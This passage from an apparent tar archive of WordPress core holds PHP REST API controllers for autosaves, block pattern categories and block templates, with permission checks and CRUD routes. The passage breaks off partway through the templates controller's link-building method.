		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_autosave', $response, $post, $request );
	}

	/**
	 * Retrieves the query params for the autosaves collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-block-pattern-categories-controller.php000064400000011316151024200430021024 0ustar00<?php
/**
 * REST API: WP_REST_Block_Pattern_Categories_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block pattern categories via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Pattern_Categories_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/categories';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block pattern categories.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block pattern categories.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$response   = array();
		$categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered();
		foreach ( $categories as $category ) {
			$prepared_category = $this->prepare_item_for_response( $category, $request );
			$response[]        = $this->prepare_response_for_collection( $prepared_category );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Prepare a raw block pattern category before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 *
	 * @param array           $item    Raw category as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$keys   = array( 'name', 'label', 'description' );
		$data   = array();
		foreach ( $keys as $key ) {
			if ( isset( $item[ $key ] ) && rest_is_field_included( $key, $fields ) ) {
				$data[ $key ] = $item[ $key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern category schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern-category',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The category name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'label'       => array(
					'description' => __( 'The category label, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description' => array(
					'description' => __( 'The category description, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-templates-controller.php000064400000112637151024200430016142 0ustar00<?php
/**
 * REST API: WP_REST_Templates_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Base Templates REST API Controller.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Templates_Controller extends WP_REST_Controller {

	/**
	 * Post type.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Endpoint for fallback template content.
	 */
	public function register_routes() {
		// Lists all templates.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		// Get fallback template content.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/lookup',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_template_fallback' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'slug'            => array(
							'description' => __( 'The slug of the template to get the fallback for' ),
							'type'        => 'string',
							'required'    => true,
						),
						'is_custom'       => array(
							'description' => __( 'Indicates if a template is custom or part of the template hierarchy' ),
							'type'        => 'boolean',
						),
						'template_prefix' => array(
							'description' => __( 'The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`' ),
							'type'        => 'string',
						),
					),
				),
			)
		);

		// Lists/updates a single template based on the given id.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/(?P<id>%s%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+'
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns the fallback template for the given slug.
	 *
	 * @since 6.1.0
	 * @since 6.3.0 Ignore empty templates.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_template_fallback( $request ) {
		$hierarchy = get_template_hierarchy( $request['slug'], $request['is_custom'], $request['template_prefix'] );

		do {
			$fallback_template = resolve_block_template( $request['slug'], $hierarchy, '' );
			array_shift( $hierarchy );
		} while ( ! empty( $hierarchy ) && empty( $fallback_template->content ) );

		// To maintain original behavior, return an empty object rather than a 404 error when no template is found.
		$response = $fallback_template ? $this->prepare_item_for_response( $fallback_template, $request ) : new stdClass();

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to edit/view/delete templates.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_templates',
				__( 'Sorry, you are not allowed to access the templates on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Requesting this endpoint for a template like 'twentytwentytwo//home'
	 * requires using a path like /wp/v2/templates/twentytwentytwo//home. There
	 * are special cases when WordPress routing corrects the name to contain
	 * only a single slash like 'twentytwentytwo/home'.
	 *
	 * This method doubles the last slash if it's not already doubled. It relies
	 * on the template ID format {theme_name}//{template_slug} and the fact that
	 * slugs cannot contain slashes.
	 *
	 * @since 5.9.0
	 * @see https://core.trac.wordpress.org/ticket/54507
	 *
	 * @param string $id Template ID.
	 * @return string Sanitized template ID.
	 */
	public function _sanitize_template_id( $id ) {
		$id = urldecode( $id );

		$last_slash_pos = strrpos( $id, '/' );
		if ( false === $last_slash_pos ) {
			return $id;
		}

		$is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/';
		if ( $is_double_slashed ) {
			return $id;
		}
		return (
			substr( $id, 0, $last_slash_pos )
			. '/'
			. substr( $id, $last_slash_pos )
		);
	}

	/**
	 * Checks if a given request has access to read templates.
	 *
	 * @since 5.8.0
	 * @since 6.6.0 Allow users with edit_posts capability to read templates.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_manage_templates',
			__( 'Sorry, you are not allowed to access the templates on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns a list of templates.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$query = array();
		if ( isset( $request['wp_id'] ) ) {
			$query['wp_id'] = $request['wp_id'];
		}
		if ( isset( $request['area'] ) ) {
			$query['area'] = $request['area'];
		}
		if ( isset( $request['post_type'] ) ) {
			$query['post_type'] = $request['post_type'];
		}

		$templates = array();
		foreach ( get_block_templates( $query, $this->post_type ) as $template ) {
			$data        = $this->prepare_item_for_response( $template, $request );
			$templates[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $templates );
	}

	/**
	 * Checks if a given request has access to read a single template.
	 *
	 * @since 5.8.0
	 * @since 6.6.0 Allow users with edit_posts capability to read individual templates.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_manage_templates',
			__( 'Sorry, you are not allowed to access the templates on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns the given template
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_item( $request ) {
		if ( isset( $request['source'] ) && ( 'theme' === $request['source'] || 'plugin' === $request['source'] ) ) {
			$template = get_block_file_template( $request['id'], $this->post_type );
		} else {
			$template = get_block_template( $request['id'], $this->post_type );
		}

		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $template, $request );
	}

	/**
	 * Checks if a given request has access to write a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		$post_before = get_post( $template->wp_id );

		if ( isset( $request['source'] ) && 'theme' === $request['source'] ) {
			wp_delete_post( $template->wp_id, true );
			$request->set_param( 'context', 'edit' );

			$template = get_block_template( $request['id'], $this->post_type );
			$response = $this->prepare_item_for_response( $template, $request );

			return rest_ensure_response( $response );
		}

		$changes = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $changes ) ) {
			return $changes;
		}

		if ( 'custom' === $template->source ) {
			$update = true;
			$result = wp_update_post( wp_slash( (array) $changes ), false );
		} else {
			$update      = false;
			$post_before = null;
			$result      = wp_insert_post( wp_slash( (array) $changes ), false );
		}

		if ( is_wp_error( $result ) ) {
			if ( 'db_update_error' === $result->get_error_code() ) {
				$result->add_data( array( 'status' => 500 ) );
			} else {
				$result->add_data( array( 'status' => 400 ) );
			}
			return $result;
		}

		$template      = get_block_template( $request['id'], $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		$post = get_post( $template->wp_id );
		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, $update, $post_before );

		$response = $this->prepare_item_for_response( $template, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to create a template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_name = $request['slug'];
		$post_id                  = wp_insert_post( wp_slash( (array) $prepared_post ), true );
		if ( is_wp_error( $post_id ) ) {
			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}
		$posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type );
		if ( ! count( $posts ) ) {
			return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) );
		}
		$id            = $posts[0]->id;
		$post          = get_post( $post_id );
		$template      = get_block_template( $id, $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $template, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}
		if ( 'custom' !== $template->source ) {
			return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) );
		}

		$id    = $template->wp_id;
		$force = (bool) $request['force'];

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $template, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $template->status ) {
				return new WP_Error(
					'rest_template_already_trashed',
					__( 'The template has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result           = wp_trash_post( $id );
			$template->status = 'trash';
			$response         = $this->prepare_item_for_response( $template, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The template cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		return $response;
	}

	/**
	 * Prepares a single template for create or update.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Changes to pass to wp_update_post.
	 */
	protected function prepare_item_for_database( $request ) {
		$template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null;
		$changes  = new stdClass();
		if ( null === $template ) {
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => isset( $request['theme'] ) ? $request['theme'] : get_stylesheet(),
			);
		} elseif ( 'custom' !== $template->source ) {
			$changes->post_name   = $template->slug;
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => $template->theme,
			);
			$changes->meta_input  = array(
				'origin' => $template->source,
			);
		} else {
			$changes->post_name   = $template->slug;
			$changes->ID          = $template->wp_id;
			$changes->post_status = 'publish';
		}
		if ( isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$changes->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$changes->post_content = $request['content']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_content = $template->content;
		}
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_title = $template->title;
		}
		if ( isset( $request['description'] ) ) {
			$changes->post_excerpt = $request['description'];
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_excerpt = $template->description;
		}

		if ( 'wp_template' === $this->post_type && isset( $request['is_wp_suggestion'] ) ) {
			$changes->meta_input     = wp_parse_args(
				array(
					'is_wp_suggestion' => $request['is_wp_suggestion'],
				),
				$changes->meta_input = array()
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			if ( isset( $request['area'] ) ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] );
			} elseif ( null !== $template && 'custom' !== $template->source && $template->area ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area );
			} elseif ( empty( $template->area ) ) {
				$changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
			}
		}

		if ( ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$changes->post_author = $post_author;
		}

		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $changes, $request );
	}

	/**
	 * Prepare a single template output for response
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `modified` property to the response.
	 *
	 * @param WP_Block_Template $item    Template instance.
	 * @param WP_REST_Request   $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return new WP_REST_Response( array() );
		}

		/*
		 * Resolve pattern blocks so they don't need to be resolved client-side
		 * in the editor, improving performance.
		 */
		$blocks        = parse_blocks( $item->content );
		$blocks        = resolve_pattern_blocks( $blocks );
		$item->content = serialize_blocks( $blocks );

		// Restores the more descriptive, specific name for use within this method.
		$template = $item;

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every template.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $template->id;
		}

		if ( rest_is_field_included( 'theme', $fields ) ) {
			$data['theme'] = $template->theme;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $template->content;
		}

		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $template->content );
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $template->slug;
		}

		if ( rest_is_field_included( 'source', $fields ) ) {
			$data['source'] = $template->source;
		}

		if ( rest_is_field_included( 'origin', $fields ) ) {
			$data['origin'] = $template->origin;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $template->type;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $template->description;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $template->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			if ( $template->wp_id ) {
				/** This filter is documented in wp-includes/post-template.php */
				$data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id );
			} else {
				$data['title']['rendered'] = $template->title;
			}
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $template->status;
		}

		if ( rest_is_field_included( 'wp_id', $fields ) ) {
			$data['wp_id'] = (int) $template->wp_id;
		}

		if ( rest_is_field_included( 'has_theme_file', $fields ) ) {
			$data['has_theme_file'] = (bool) $template->has_theme_file;
		}

		if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) {
			$data['is_custom'] = $template->is_custom;
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $template->author;
		}

		if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) {
			$data['area'] = $template->area;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = mysql_to_rfc3339( $template->modified );
		}

		if ( rest_is_field_included( 'author_text', $fields ) ) {
			$data['author_text'] = self::get_wp_templates_author_text_field( $template );
		}

		if ( rest_is_field_included( 'original_source', $fields ) ) {
			$data['original_source'] = self::get_wp_templates_original_source_field( $template );
		}

		if ( rest_is_field_included( 'plugin', $fields ) ) {
			$registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template->slug );
			if ( $registered_template ) {
				$data['plugin'] = $registered_template->plugin;
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template->id );
			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions();
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Returns the source from where the template originally comes from.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Original source of the template one of theme, plugin, site, or user.
	 */
	private static function get_wp_templates_original_source_field( $template_object ) {
		if ( 'wp_template' === $template_object->type || 'wp_template_part' === $template_object->type ) {
			/*
			 * Added by theme.
			 * Template originally provided by a theme, but customized by a user.
			 * Templates originally didn't have the 'origin' field so identify
			 * older customized templates by checking for no origin and a 'theme'
			 * or 'custom' source.
			 */
			if ( $template_object->has_theme_file &&
			( 'theme' === $template_object->origin || (
				empty( $template_object->origin ) && in_array(
					$template_object->source,
					array(
						'theme',
						'custom',
					),
					true
				) )
			)
			) {
				return 'theme';
			}

			// Added by plugin.
			if ( 'plugin' === $template_object->origin ) {
				return 'plugin';
			}

			/*
			 * Added by site.
			 * Template was created from scratch, but has no author. Author support
			 * was only added to templates in WordPress 5.9. Fallback to showing the
			 * site logo and title.
			 */
			if ( empty( $template_object->has_theme_file ) && 'custom' === $template_object->source && empty( $template_object->author ) ) {
				return 'site';
			}
		}

		// Added by user.
		return 'user';
	}

	/**
	 * Returns a human readable text for the author of the template.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Human readable text for the author.
	 */
	private static function get_wp_templates_author_text_field( $template_object ) {
		$original_source = self::get_wp_templates_original_source_field( $template_object );
		switch ( $original_source ) {
			case 'theme':
				$theme_name = wp_get_theme( $template_object->theme )->get( 'Name' );
				return empty( $theme_name ) ? $template_object->theme : $theme_name;
			case 'plugin':
				if ( ! function_exists( 'get_plugins' ) ) {
					require_once ABSPATH . 'wp-admin/includes/plugin.php';
				}
				if ( isset( $template_object->plugin ) ) {
					$plugins = wp_get_active_and_valid_plugins();

					foreach ( $plugins as $plugin_file ) {
						$plugin_basename = plugin_basename( $plugin_file );
						// Split basename by '/' to get the plugin slug.
						list( $plugin_slug, ) = explode( '/', $plugin_basename );

						if ( $plugin_slug === $template_object->plugin ) {
							$plugin_data = get_plugin_data( $plugin_file );

							if ( ! empty( $plugin_data['Name'] ) ) {
								return $plugin_data['Name'];
							}

							break;
						}
					}
				}

				/*
				 * Fall back to the theme name if the plugin is not defined. That's needed to keep backwards
				 * compatibility with templates that were registered before the plugin attribute was added.
				 */
				$plugins         = get_plugins();
				$plugin_basename = plugin_basename( sanitize_text_field( $template_object->theme . '.php' ) );
				if ( isset( $plugins[ $plugin_basename ] ) && isset( $plugins[ $plugin_basename ]['Name'] ) ) {
					return $plugins[ $plugin_basename ]['Name'];
				}
				return isset( $template_object->plugin ) ?
					$template_object->plugin :
					$template_object->theme;
			case 'site':
				return get_bloginfo( 'name' );
			case 'user':
				$author = get_user_by( 'id', $template_object->author );
				if ( ! $author ) {
					return __( 'Unknown author' );
				}
				return $author->get( 'display_name' );
		}

		// Fail-safe to return a string should the original source ever fall through.
		return '';
	}


	/**
	 * Prepares links for the request.
	 *
	 * @since 5.8.0
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->rest_base, $id ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$template = get_block_template( $id, $this->post_type );
			if ( $template instanceof WP_Block_Template && ! empty( $template->wp_id ) ) {
				$revisions       = wp_get_latest_revision_id_and_total_count( $template->wp_id );
